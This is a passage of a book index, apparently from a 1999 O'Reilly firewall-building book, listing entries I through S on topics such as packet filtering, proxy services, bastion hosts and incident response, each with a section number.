insecure networks : 4.4.2. Insecure Networks
installing
filesystems as read-only : 5.8.4.3. Mount filesystems as read-only
Internet services : 5.8.3. Installing and Modifying Services
kernel : 5.8.4.1. Reconfigure and rebuild the kernel
operating system : 5.8.1.1. Start with a minimal clean operating system installation
software on machine : 5.8.4. Reconfiguring for Production
intelligent proxy servers : 7.3.3. Intelligent Proxy Servers
interior router : 4.2.3.3. Interior router
configuring : 9.1.2.1. Interior Router
merging with bastion host : 4.3.4. It's Dangerous to Merge the Bastion Host and the Interior Router
merging with exterior router : 4.3.2. It's OK to Merge the Interior Router and the Exterior Router
multiple : 4.3.5. It's Dangerous to Use Multiple Interior Routers
internal
bastion hosts : 5.2.3. Internal Bastion Hosts
clients, and proxying : 7.4.5. Internal Versus External Clients
firewalls : 4.4. Internal Firewalls
bastion hosts on : 4.4.6. An Internal Firewall May or May Not Need Bastion Hosts
news server : 8.5.3.4. Relaying news through your bastion host to an internal news server
Internet
conferencing services, real-time : 2.8. Real-Time Conferencing Services
connections to unbuilt bastion host : 5.8. Building a Bastion Host
Control Message Protocol : (see ICMP)
defense in depth : 3.2. Defense in Depth
email over : (see email)
firewalls : (see firewalls)
future of IP addresses : 4.5. What the Future Holds
layer, TCP/IP : C.5. Internet Layer
logging activity on : (see logs)
multicasting : 8.9.3. The Multicast Backbone (MBONE)
multiple connections to : 4.3.6. It's OK to Use Multiple Exterior Routers
Protocol : (see IP)
Relay Chat : (see IRC)
routing architecture : C.10. Internet Routing Architecture
search programs for : 2.6. Other Information Services
security resource : A.3.5. CERT-Advisory
services : (see services, Internet)
WWW : (see WWW (World Wide Web))
intruders
pursuing and capturing : 13.3. Pursuing and Capturing the Intruder
recovering from : 13.1.6. Restore and Recover
reviewing response strategies : 13.4.8. Periodic Review of Plans
types of : 1.2.2. Types of Attackers
intrusions : (see incidents)
IP (Internet Protocol)
6.3.2. IP
C.5.1. Internet Protocol
addresses
6.3.6. IP Version 6
C.9. The IP Address
encryption : 10.5.2. What Do You Encrypt?
fragmentation : 6.3.2.2. IP fragmentation
multicasting : 8.9.3. The Multicast Backbone (MBONE)
nested over IP : 6.3.3.5. IP over IP
packet layer : 6.3.1.2. IP layer
packet routes to : (see traceroute program)
routers : C.5.1.2. Routing datagrams
source route option : 6.3.2.1. IP options
status and control messages : 6.3.3.3. ICMP
Version 6 (IPv6) : 6.3.6. IP Version 6
IP addresses : 2.9. Name Service
future of : 4.5. What the Future Holds
private : 4.5. What the Future Holds
IRC (Internet Relay Chat) : 2.8. Real-Time Conferencing Services
configuring : 8.9.2. Internet Relay Chat (IRC)
ISS (Internet Security Scanner) : B.2.5. ISS

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: J

joint networks : 4.4.4. Joint Venture Firewalls
joyriders : 1.2.2.1. Joyriders

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: K

KarlBridge package : B.3.3. KarlBridge
Kerberos authentication system
2.12. Network File Systems
10.4.1. Kerberos
B.1.2. Kerberos
supporting versions of POP : 8.1.2. Post Office Protocol (POP)
kernel, reconfiguring : 5.8.4.1. Reconfigure and rebuild the kernel
key distribution, encryption : 10.5.4. Key Distribution
keystroke timing authentication : 10.2.1. Something You Are
keyword search : 2.6. Other Information Services
KPOP (Kerberos-supporting Post Office Protocol) : 8.1.2. Post Office Protocol (POP)

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: L

labeling the system : 13.5.2. Labeling and Diagraming Your System
laboratory networks : 4.4.1. Laboratory Networks
LAN-oriented service : 5.6. Selecting Services Provided by the Bastion Host
layering firewalls : 3.2. Defense in Depth
least privilege
3.1. Least Privilege
9.1.4.1. Least privilege
9.2.3.1. Least privilege
legal
documentation of incidents : 13.1.7. Document the Incident
issues on pursuing intruders : 13.3. Pursuing and Capturing the Intruder
security responsibilities : 11.2.3. External Factors That Influence Security Policies
link-level encryption : 10.5.1. At What Level Do You Encrypt?
Livingston routers : 6.5. Conventions for Packet Filtering Rules
local newsgroups : 2.4. Usenet News
logins
remote : 2.3. Remote Terminal Access and Command Execution
successful, from unexpected site : 12.2.3. The Good, the Bad, and the Ugly
logs
5.8.1.4. Safeguard the system logs
8.11. syslog
13.5.4. Keeping Activity Logs
(see also syslog)
backups and : 5.10.2. Do Secure Backups
creating with SOCKS : 7.6. Using SOCKS for Proxying
documenting incidents : 13.1.7. Document the Incident
of dropped packets : 6.9. Where to Do Packet Filtering
memory required for
12.1.3. Managing Your Disk Space
12.2.2. What Should You Watch For?
proxy services and : 7.1.1.2. Proxy services are good at logging
of router actions : 6.4.1. Logging Actions
trimlog program for : B.6.5. trimlog
unexpectedly deleted or modified : 12.2.3. The Good, the Bad, and the Ugly
what to watch for : 12.2.2. What Should You Watch For?
lookups, DNS
8.10.1. Packet Filtering Characteristics of DNS
8.10.4.2. Mismatched data between the hostname and IP address DNS trees
loopback address : C.9. The IP Address
lp printing system : 2.14. Printing Systems
configuring : 8.17. Printing Protocols (lpr and lp)
lpr printing system : 2.14. Printing Systems
configuring : 8.17. Printing Protocols (lpr and lp)

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: M

machine
auditing : (see audit, security)
backing up : 13.5.1. Backing Up Your Filesystems
choosing : 5.3. Choosing a Machine
configuring : 5.8.4. Reconfiguring for Production
connecting : 5.8.6. Connecting the Machine
disconnecting or shutting down : 13.4.3. Planning for Disconnecting or Shutting Down Machines
hardware : (see hardware)
hijacking : 10.1.1. Hijacking
physical location of : 5.4. Choosing a Physical Location
securing : 5.8.1. Securing the Machine
software : (see software)
speed of : 5.3.2. How Fast a Machine?
mail : (see email)
mailing lists
keeping current : 12.3.1.1. Mailing lists
resources via : A.3. Mailing Lists
maintaining firewalls : 12. Maintaining Firewalls
man-in-the-middle forgery : 6.6.1. Risks of Filtering by Source Address
management tools : 2.10. Network Management Services
managing accounts : 12.1.2. Managing Your Accounts
maximum transmission unit (MTU) : C.5.1.3. Fragmenting datagrams
MBONE (Multicast Backbone) : 2.8. Real-Time Conferencing Services
configuring : 8.9.3. The Multicast Backbone (MBONE)
MD4 algorithm : 10.3.1. One-Time Passwords
memory
for logs : 12.2.2. What Should You Watch For?
memory/disk space
5.3.3. What Hardware Configuration?
(see resources)
for logs : 12.1.3. Managing Your Disk Space
managing : 12.1.3. Managing Your Disk Space
merging interior and exterior routers : 4.3.2. It's OK to Merge the Interior Router and the Exterior Router
meta-packets, and filtering : 6.8.4. It Should Allow Rules Based on Any Header or Meta-packet Criteria
MIME (Multipurpose Internet Mail Extensions) : 8.1.3. Multipurpose Internet Mail Extensions (MIME)
modem pools : 10.6. Terminal Servers and Modem Pools
modifying Internet services : 5.8.3. Installing and Modifying Services
monitoring system automatically : 5.9.2. Consider Writing Software to Automate Monitoring
monitoring the system : 12.2. Monitoring Your System
Morris worm : 8.1. Electronic Mail
Mosaic : 2.5. The World Wide Web
mountd : 5.8.2.4. Which services should you disable?
mounting filesystems : 5.8.4.3. Mount filesystems as read-only
mrouter : 6.3.3.5. IP over IP
mrouters : 8.9.3. The Multicast Backbone (MBONE)
MTU (maximum transmission unit) : C.5.1.3. Fragmenting datagrams
multi-homed hosts : C.5.1.2. Routing datagrams
Multicast Backbone : (see MBONE)
multicast IP : 6.3.3.5. IP over IP
multicasting : 8.9.3. The Multicast Backbone (MBONE)
multidirectional connections : 7.4.2. Unidirectional Versus Multidirectional Connections
multimedia mail : (see email)
Multipurpose Internet Mail Extensions : (see MIME)
MX records : 8.10.5.1. Set up a `fake' DNS server on the bastion host for the outside world to use

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: N

name service : (see DNS)
named programs, DNS : 8.10.5.2. Set up a real DNS server on an internal system for internal hosts to use
NCSA Mosaic : 2.5. The World Wide Web
nested IP over IP : 6.3.3.5. IP over IP
netacl program : 5.8.3.2. Using netacl to protect services
Netscape Navigator : 2.5. The World Wide Web
network
access layer, TCP/IP : C.4. Network Access Layer
architecture : (see firewalls, architecture of)
checking connectivity of : (see ping program)
disconnecting, after incident
13.1.2. Disconnect or Shut Down, as Appropriate
13.4.3. Planning for Disconnecting or Shutting Down Machines
encryption : 10.5. Network-Level Encryption
File System : (see NFS)
filesystems : 2.12. Network File Systems
functions, SOCKS version of : 7.6. Using SOCKS for Proxying
insecure : 4.4.2. Insecure Networks
joint : 4.4.4. Joint Venture Firewalls
lab/test : 4.4.1. Laboratory Networks
location of bastion host on : 5.5. Locating the Bastion Host on the Network
management services : 2.10. Network Management Services
configuring : 8.12. Network Management Services
monitoring automatically : 5.9.2. Consider Writing Software to Automate Monitoring
perimeter
4.1. Some Firewall Definitions
4.2.3.1. Perimeter network
protecting internally : 4.4. Internal Firewalls
security : (see security)
taps : 1.2.1.3. Information Theft
Time Protocol : (see NTP)
transferring information across : (see packets, filtering)
Network Information Service : (see NIS/YP)
network news : 2.4. Usenet News
Network News Transfer Protocol : (see NNTP)
network unreachable codes : (see ICMP)
news : (see NNTP)
newsgroups : 2.4. Usenet News
keeping current : 12.3.1.2. Newsgroups
security resources via : A.4. Newsgroups
next hop : C.11. The Routing Table
NFS (Network File System) : 2.12. Network File Systems
configuring : 8.14. Network File System (NFS)
exporting news via : 8.5.3.3. Exporting news to clients via NFS
services of : 5.8.2.4. Which services should you disable?
NIS+ : 8.15. Network Information Service/Yellow Pages (NIS/YP)
NIS/YP (Network Information Service)
2.9. Name Service
5.8.2.4. Which services should you disable?
8.10. Domain Name System (DNS)
configuring : 8.15. Network Information Service/Yellow Pages (NIS/YP)
NIST CSRC (Computer Security Resource Clearinghouse) : A.5.3. NIST CSRC
NNTP (Network News Transfer Protocol)
2.4. Usenet News
7.5. Proxying Without a Proxy Server
configuring : 8.5. Network News Transfer Protocol (NNTP)
in screened host architecture : 9.2.1.4. NNTP
in screened subnet architecture : 9.1.1.4. NNTP
nonrouting dual-homed hosts
5.2.1. Nonrouting Dual-homed Hosts
5.8.2.5. Turning off routing
notifying people about problems
13.1.4. Make `Incident in Progress' Notifications
13.4.4. Planning for Notification of People Who Need to Know
NTP (Network Time Protocol)
2.11. Time Service
7.5. Proxying Without a Proxy Server
configuring : 8.13. Network Time Protocol (NTP)
numbers, port : C.12.2. Port Numbers
numbers, protocol : C.12.1. Protocol Numbers

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: O

obscurity : (see security, through obscurity)
on program : 2.3. Remote Terminal Access and Command Execution
one-time passwords : 10.3.1. One-Time Passwords
operating systems
choosing : 5.3.1. What Operating System?
fixing bugs in : 5.8.1.2. Fix all known system bugs
installation of : 5.8.1.1. Start with a minimal clean operating system installation
multiple, and proxying : 7.1. Why Proxying?
testing reload of : 13.5.6. Testing the Reload of the Operating System
UNIX : (see UNIX)
OSI (Open Systems Interconnect) model : C.2.1. OSI Reference Model
outbound
finger requests : 8.8.1. finger
packets : 6.2.2. Be Careful of `Inbound' Versus `Outbound' Semantics
filtering rules for : 6.8.6. It Should Apply Rules Separately to Incoming and Outgoing Packets, on a Per-Interface Basis
Telnet : 6.7.1. Outbound Telnet Service

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: P

packages, auditing : 5.8.5.1. Auditing packages
packet filtering
4.1. Some Firewall Definitions
4.1.1. Packet Filtering
6. Packet Filtering
by address : 6.6. Filtering by Address
advice for : 6.5. Conventions for Packet Filtering Rules
bugs in packages : 6.1.2.1. Current filtering tools are not perfect
characteristics of
Archie : 8.7.3.1. Packet filtering characteristics of Archie
DNS
8.10.1. Packet Filtering Characteristics of DNS
8.10.5.5. What your packet filtering system needs to allow
finger : 8.8.1.1. Packet filtering characteristics of finger
FSP : 8.2.3.1. Packet filtering characteristics of FSP
FTP : 8.2.1.1. Packet filtering characteristics of FTP
Gopher : 8.7.1.1. Packet filtering characteristics of Gopher
HTTP : 8.6.1. Packet Filtering Characteristics of HTTP
ICMP : 8.12.5.1. Packet filtering characteristics of ICMP
IRC : 8.9.2.1. Packet filtering characteristics of IRC
lp : 8.17.3. Packet Filtering and Proxying Characteristics of lp
lpr : 8.17.1. Packet Filtering Characteristics of lpr
NFS : 8.14.1. Packet Filtering Characteristics of NFS
NIS : 8.15.1. Packet Filtering Characteristics of NIS/YP
NNTP
8.5.1. Packet Filtering Characteristics of NNTP
8.5.4. Good Ways to Set up NNTP in a Firewall Environment
NTP : 8.13.1. Packet Filtering Characteristics of NTP
ping : 8.12.3.1. Packet filtering characteristics of ping
POP : 8.1.2.1. Packet filtering characteristics of POP
"r" commands : 8.4.1.1. Packet filtering characteristics of the BSD `r' commands
rex : 8.4.3.1. Packet filtering characteristics of rex
rexec : 8.4.2.1. Packet filtering characteristics of rexec
RIP : 8.12.2.1. Packet filtering characteristics of RIP
SMTP : 8.1.1.4. Packet filtering characteristics of SMTP
SNMP : 8.12.1.1. Packet filtering characteristics of SNMP
syslog : 8.11.1. Packet Filtering Characteristics of syslog
talk : 8.9.1.1. Packet filtering characteristics of talk
Telnet : 8.3.1. Packet Filtering Characteristics of Telnet
TFTP : 8.2.2.1. Packet filtering characteristics of TFTP
traceroute : 8.12.4.1. Packet filtering characteristics of traceroute
UUCP : 8.2.4.1. Packet filtering characteristics of UUCP
WAIS : 8.7.2.1. Packet filtering characteristics of WAIS
whois : 8.8.2.1. Packet filtering characteristics of whois
X11 : 8.16.1. Packet Filtering Characteristics of X11
choosing a router : 6.8. Choosing a Packet Filtering Router
configuring router : 6.2. Configuring a Packet Filtering Router
conventions for : 6.8.3. It Should Allow Simple Specification of Rules
dynamic : 6.3.3.2. UDP
example of : 6.10. Putting It All Together
with exterior router : 4.2.3.4. Exterior router
inbound versus outbound : 6.8.6. It Should Apply Rules Separately to Incoming and Outgoing Packets, on a Per-Interface Basis
with interior router : 4.2.3.3. Interior router
IP : (see IP)
performance level of : 6.8.1. It Should Have Good Enough Packet Filtering Performance for Your Needs
perimeter, and encryption : 10.5.3. Where Do You Encrypt?
rule sequence of : 6.8.5. It Should Apply Rules in the Order Specified
rules for : 6.5. Conventions for Packet Filtering Rules
rules in screened host architecture : 9.2.2. Packet Filtering Rules
rules in screened subnet architecture : 9.1.2. Packet Filtering Rules
with screened host architecture : 4.2.2. Screened Host Architecture
by service : 6.7. Filtering by Service
by source port : 6.7.4. Risks of Filtering by Source Port
testing : 6.8.7. It Should Be Able to Log Accepted and Dropped Packets
tools for : B.3. Packet Filtering Tools
transparency of : 6.1.1.2. Packet filtering doesn't require user knowledge or cooperation
where to do : 6.8.8. It Should Have Good Testing and Validation Capabilities
packets
4.1. Some Firewall Definitions
6. Packet Filtering
8.12.4. traceroute
(see also traceroute program)
encrypting : (see encryption)
forged : 6.3.7. Non-IP Protocols
fragmenting : 6.3.2.2. IP fragmentation
fragments : 6.3.1.2. IP layer
handling (by router) : 6.4. What Does the Router Do with Packets?
headers of : 6.3. What Does a Packet Look Like?
ICMP : 8.12.5. Other ICMP Packets
inbound versus outbound : 6.2.2. Be Careful of `Inbound' Versus `Outbound' Semantics
rates of : 6.8.1. It Should Have Good Enough Packet Filtering Performance for Your Needs
sniffing, programs for : 10.1.2. Packet Sniffing
source-routed : 5.8.2.5. Turning off routing
structure : 6.3. What Does a Packet Look Like?
TCP : 6.3.3.1. TCP
UDP : 6.3.3.2. UDP
PAR (Positive Acknowledgment with Retransmission) : C.6.2. Transmission Control Protocol
passive (or PASV) mode, FTP : 8.2.1.1. Packet filtering characteristics of FTP
passwords
10.2. What Is Authentication?
10.2.2. Something You Know
(see also authentication)
aging : 12.1.2. Managing Your Accounts
false authentication and : 10.1.3. False Authentication
one-time : 10.3.1. One-Time Passwords
stealing with network taps : 1.2.1.3. Information Theft
time-based : 10.3.2. Time-based Passwords
patches : 12.3.2. Keeping Your Systems Up To Date
pcbind service : 5.8.2.4. Which services should you disable?
performance
with multiple interior routers : 4.3.5. It's Dangerous to Use Multiple Interior Routers
of packet filter : 6.8.1. It Should Have Good Enough Packet Filtering Performance for Your Needs
perimeter nets
multiple : 4.3.7. It's OK to Have Multiple Perimeter Networks
shared : 4.4.5. A Shared Perimeter Network Allows an `Arms-length' Relationship
perimeter network
4.1. Some Firewall Definitions
4.2.3.1. Perimeter network
ping program : 2.10. Network Management Services
configuring : 8.12.3. ping
ping service : 5.6. Selecting Services Provided by the Bastion Host
platforms : Platforms
plug-gw proxy : 7.7.3. Generic Proxying with TIS FWTK
policy, security : (see security, policies of)
POP (Post Office Protocol) : 8.1.2. Post Office Protocol (POP)
multiple services : 8.1.2.2. Proxying characteristics of POP
port numbers : C.12.2. Port Numbers
portmap service
5.8.2.4. Which services should you disable?
B.5.3. portmap
portmapper server : 6.3.3.4. RPC
ports, source, filtering by : 6.7.4. Risks of Filtering by Source Port
ports, well-known : C.12.3. Sockets
positive acknowledgment : C.6.2. Transmission Control Protocol
prearranging file transfer : 8.2.1.6. Be careful of writable directories in the anonymous FTP area
printing : 3.1. Least Privilege
configuring protocols : 8.17. Printing Protocols (lpr and lp)
systems : 2.14. Printing Systems
private
IP addresses : 4.5. What the Future Holds
key cryptography : 10. Authentication and Inbound Services
newsgroups : 2.4. Usenet News
probes, responding to : 12.2.4. Responding to Probes
procedures for proxying, custom : 7.2.2. Using Custom User Procedures for Proxying
processing speed : 5.3.2. How Fast a Machine?
programs, removing nonessential : 5.8.4.2. Remove nonessential programs
promiscuous mode : 5.5. Locating the Bastion Host on the Network
protocols
analyzing : 8.18. Analyzing Other Protocols
bidirectionality of : 6.2.1. Protocols Are Usually Bidirectional
data : (see TCP/IP)
dedicated Archie : 8.7.3.3. Providing Archie service to your users
above IP : 6.3.3. Protocols Above IP
non-IP : 6.3.7. Non-IP Protocols
numbers for : C.12.1. Protocol Numbers
packet filtering and : 6.1.2.2. Some protocols are not well suited to packet filtering
routing : (see RIP)
security of, and proxying : 7.4.3. Protocol Security
time-dependence of : 8.13. Network Time Protocol (NTP)
weaknesses of, and proxy services : 7.1.2.5. Proxy services don't protect you from all protocol weaknesses
proxy services
4.1. Some Firewall Definitions
4.1.2. Proxy Services
7. Proxy Systems
application- versus circuit-level : 7.3.1. Application-Level Versus Circuit-Level Proxies
characteristics of
Archie : 8.7.3.2. Proxying characteristics of Archie
Berkeley "r" commands : 8.4.1.2. Proxying characteristics of the BSD `r' commands
DNS : 8.10.2. Proxying Characteristics of DNS
finger : 8.8.1.2. Proxying characteristics of finger
FSP : 8.2.3.2. Proxying characteristics of FSP
FTP : 8.2.1.2. Proxying characteristics of FTP
Gopher : 8.7.1.2. Proxying characteristics of Gopher
HTTP : 8.6.2. Proxying Characteristics of HTTP
IRC : 8.9.2.2. Proxying characteristics of IRC
lp : 8.17.3. Packet Filtering and Proxying Characteristics of lp
lpr : 8.17.2. Proxying Characteristics of lpr
NFS : 8.14.2. Proxying Characteristics of NFS
NIS : 8.15.2. Proxying Characteristics of NIS/YP
NNTP
8.5.2. Proxying Characteristics of NNTP
8.5.4. Good Ways to Set up NNTP in a Firewall Environment
NTP : 8.13.2. Proxying Characteristics of NTP
ping : 8.12.3.2. Proxying characteristics of ping
POP : 8.1.2.2. Proxying characteristics of POP
rex : 8.4.3.2. Proxying characteristics of rex
rexec : 8.4.2.2. Proxying characteristics of rexec
RIP : 8.12.2.2. Proxying characteristics of RIP
SMTP : 8.1.1.5. Proxying characteristics of SMTP
SNMP : 8.12.1.2. Proxying characteristics of SNMP
syslog : 8.11.2. Proxying Characteristics of syslog
talk : 8.9.1.2. Proxying characteristics of talk
Telnet : 8.3.2. Proxying Characteristics of Telnet
TFTP : 8.2.2.2. Proxying characteristics of TFTP
traceroute : 8.12.4.2. Proxying characteristics of traceroute
UUCP : 8.2.4.2. Proxying characteristics of UUCP
WAIS : 8.7.2.2. Proxying characteristics of WAIS
whois : 8.8.2.2. Proxying characteristics of whois
generic versus dedicated : 7.3.2. Generic Versus Dedicated Proxies
intelligent servers : 7.3.3. Intelligent Proxy Servers
internal versus external clients : 7.4.5. Internal Versus External Clients
Internet services and : 7.4. Using Proxying with Internet Services
multiple operating systems and : 7.1. Why Proxying?
protocol security : 7.4.3. Protocol Security
SOCKS package for : 7.6. Using SOCKS for Proxying
software for : 7.2. How Proxying Works
TIS Internet Firewalls Toolkit for : 7.7. Using the TIS Internet Firewall Toolkit for Proxying
tools for : B.4. Proxy Systems Tools
versus packet filtering : 6.1.1.2. Packet filtering doesn't require user knowledge or cooperation
when unable to provide : 7.8. What If You Can't Proxy?
without proxy server : 7.5. Proxying Without a Proxy Server
public key cryptography : 10. Authentication and Inbound Services
pursuing intruders : 13.3. Pursuing and Capturing the Intruder

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: R

"r" commands : 5.8.2.4. Which services should you disable?
configuring : 8.4.1. BSD `r' Commands
packet filtering and : 6.1.2.2. Some protocols are not well suited to packet filtering
rcp transfer program : 2.2. File Transfer
read-only filesystems : 5.8.4.3. Mount filesystems as read-only
real-time conferencing : (see conferencing services, real-time)
rebooting : 5.10.1. Watch Reboots Carefully
recording activity : (see logs)
recovering after incident : 13.1.6. Restore and Recover
plan for : 13.4.6. Planning for Restoration and Recovery
remote
command execution : 8.4. Remote Command Execution
computers, hijacking : 10.1.1. Hijacking
terminal access : 2.3. Remote Terminal Access and Command Execution
Remote Procedure Call : (see RPC)
remote terminal access : (see Telnet)
reputation : 1.1.3. Your Reputation
resources : 1.1.2. Your Resources
response teams : (see incident response teams)
retina authentication : 10.2.1. Something You Are
reverse lookups
8.10.4.2. Mismatched data between the hostname and IP address DNS trees
8.10.5.1. Set up a `fake' DNS server on the bastion host for the outside world to use
reviewing security policies : 11.1.1.5. Provision for reviews
rex service : 8.4.3. rex
rexec server : 8.4.2. rexec
RFC1597 and RFC1627 : 4.5. What the Future Holds
.rhosts file : 8.4.1. BSD `r' Commands
RIP (Routing Information Protocol)
configuring : 8.12.2. Routing Information Protocol (RIP)
RISKS mailing list : A.3.6. RISKS
rlogin program : 2.3. Remote Terminal Access and Command Execution
proxying with TIS FWTK : 7.7.2. Telnet and rlogin Proxying with TIS FWTK
routed server : 5.8.2.4. Which services should you disable?
routers : 6. Packet Filtering
as choke point : 6.1. Why Packet Filtering?
choosing : 6.8. Choosing a Packet Filtering Router
disabling : 5.8.2.5. Turning off routing
exterior (or access) : (see exterior routers)
handling packets : 6.4. What Does the Router Do with Packets?
interior : (see interior router)
logging actions of : 6.4.1. Logging Actions
merging interior and exterior : 4.3.2. It's OK to Merge the Interior Router and the Exterior Router
multicast
6.3.3.5. IP over IP
8.9.3. The Multicast Backbone (MBONE)
returning ICMP error codes : 6.4.2. Returning ICMP Error Codes
screening : (see screening routers)
single-purpose versus general-purpose : 6.8.2. It Can Be a Single-Purpose Router or a General-Purpose Computer
testing : 4.4.1. Laboratory Networks
where to filter : 6.8.8. It Should Have Good Testing and Validation Capabilities
routing
domains : C.10. Internet Routing Architecture
protocol : (see RIP)
source : 5.8.2.5. Turning off routing
table : C.11. The Routing Table
RPC (Remote Procedure Call)
6.3.3.4. RPC
(see also NFS; NIS/YP)
portmapper server : 6.3.3.4. RPC
service number : 6.3.3.4. RPC
services of : 5.8.2.4. Which services should you disable?
rsh program : 2.3. Remote Terminal Access and Command Execution

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Index: S

S/Key password program : 10.3.1. One-Time Passwords
sabotage : (see denial of service)
SAGE (System Administrators Guild) : A.5.5. System Administrators Guild (SAGE)
SATAN package
12.2.4. Responding to Probes
B.2.4. SATAN
score keepers : 1.2.2.3. Score Keepers
screend package
6.5. Conventions for Packet Filtering Rules
B.3.1. screend
screened host architecture
4.2.2. Screened Host Architecture
9.2. Screened Host Architecture
screened subnet architecture
4.2.3. Screened Subnet Architecture
9.1. Screened Subnet Architecture
with dual-homed host architecture : 4.3.8. It's OK to Use Dual-Homed Hosts and Screened Subnets
screening routers
4.1.1. Packet Filtering
6. Packet Filtering
(see also packets, filtering)
acceptable addresses for : 6.5. Conventions for Packet Filtering Rules
choosing : 6.8. Choosing a Packet Filtering Router
configuring : 6.2. Configuring a Packet Filtering Router
proxy systems and : 7. Proxy Systems
rules for : 6.5. Conventions for Packet Filtering Rules
where to use : 6.8.8. It Should Have Good Testing and Validation Capabilities
search programs : 2.6. Other Information Services
Secure HTTP : 8.6.4. Secure HTTP
security
1.4. What Is an Internet Firewall?
8.1.1.1. SMTP for UNIX: Sendmail
8.10.4. DNS Security Problems
(see also firewalls)
against system failure : 3.5. Fail-Safe Stance
audit : 5.8.5. Running a Security Audit
of backups : 5.10. Protecting the Machine and Backups
bastion host speed and : 5.3.2. How Fast a Machine?
choke points
9.1.4.3. Choke point
9.2.3.3. Choke point
of commercial authentication systems : 10.4.3. Commercial Solutions
cryptography : 10. Authentication and Inbound Services
default deny stance : 6.2.3. Default Permit Versus Default Deny
default permit stance : 6.2.3. Default Permit Versus Default Deny
defense in depth
9.1.4.2. Defense in depth
9.2.3.2. Defense in depth
designing for network : 1.4.3. Buying Versus Building
diversity of defense
3.7. Diversity of Defense
9.1.4.7. Diversity of defense
9.2.3.7. Diversity of defense
encryption, network-level : 10.5. Network-Level Encryption
fail-safe stance
9.1.4.5. Fail-safe stance
9.2.3.5. Fail-safe stance
host : 1.3.3. Host Security
important of simplicity of : 3.8. Simplicity
incident response teams : (see incident response teams)
incidents : (see incidents)
insecure networks : 4.4.2. Insecure Networks
IRC and : 8.9.2. Internet Relay Chat (IRC)
keeping checksums secure : 13.5.3. Keeping Secured Checksums
lack of : 1.3. How Can You Protect Your Site?
least privilege
9.1.4.1. Least privilege
9.2.3.1. Least privilege
legal responsibilities : 11.2.3. External Factors That Influence Security Policies
of machine : 5.8.1. Securing the Machine
modem pools : 10.6. Terminal Servers and Modem Pools
netacl : 5.8.3.2. Using netacl to protect services
network : (see network)
operating system bugs : 5.8.1.2. Fix all known system bugs
policies for
1.4.1.1. A firewall is a focus for security decisions
11. Security Policies
reviewing : 11.1.1.5. Provision for reviews
of POP : 8.1.2. Post Office Protocol (POP)
practicing drills for : 13.5.7. Doing Drills
protecting the network internally : 4.4. Internal Firewalls
protocol, and proxying : 7.4.3. Protocol Security
regarding HTTP : 8.6.3. HTTP Security Concerns
resources for : A. Resources
responding to incidents : 13. Responding to Security Incidents
reviewing response strategies : 13.4.8. Periodic Review of Plans
SNMP : 8.12.1. Simple Network Management Protocol (SNMP)
strategies for : 3. Security Strategies
TCP Wrapper : 5.8.3.1. Using the TCP Wrapper package to protect services
terminal servers : 10.6. Terminal Servers and Modem Pools
through obscurity : 1.3.2. Security Through Obscurity
time information and : 8.13. Network Time Protocol (NTP)
universal participation : 3.6. Universal Participation
weakest link
3.4. Weakest Link
9.1.4.4. Weakest link
9.2.3.4. Weakest link
when proxying is ineffective : 7.8.2. Proxying Won't Secure the Service
when system crashes : 5.10.1. Watch Reboots Carefully
with whois service : 8.8.2. whois
X11 window system mechanisms : 8.16. X11 Window System
Sendmail
2.1. Electronic Mail
3.1. Least Privilege
8.1.1.1. SMTP for UNIX: Sendmail
(see also SMTP)
Morris worm : 8.1. Electronic Mail
servers
Archie, running : 8.7.3.4. Running an Archie server
DNS
for internal hosts : 8.10.5.2. Set up a real DNS server on an internal system for internal hosts to use
setting up fake : 8.10.5.1. Set up a `fake' DNS server on the bastion host for the outside world to use
routed : 5.8.2.4. Which services should you disable?
servers, proxy : (see proxy services)
services host : 9.2. Screened Host Architecture
services, inbound : (see inbound, services)
services, Internet : 2. Internet Services
booting : 5.8.2.4. Which services should you disable?
configuring : 8. Configuring Internet Services
contacting providers about incidents
13.1.4.3. Vendors and service providers
13.4.4.3. Vendors and service providers
default deny stance : 3.5.1. Default Deny Stance: That Which Is Not Expressly Permitted Is Prohibited
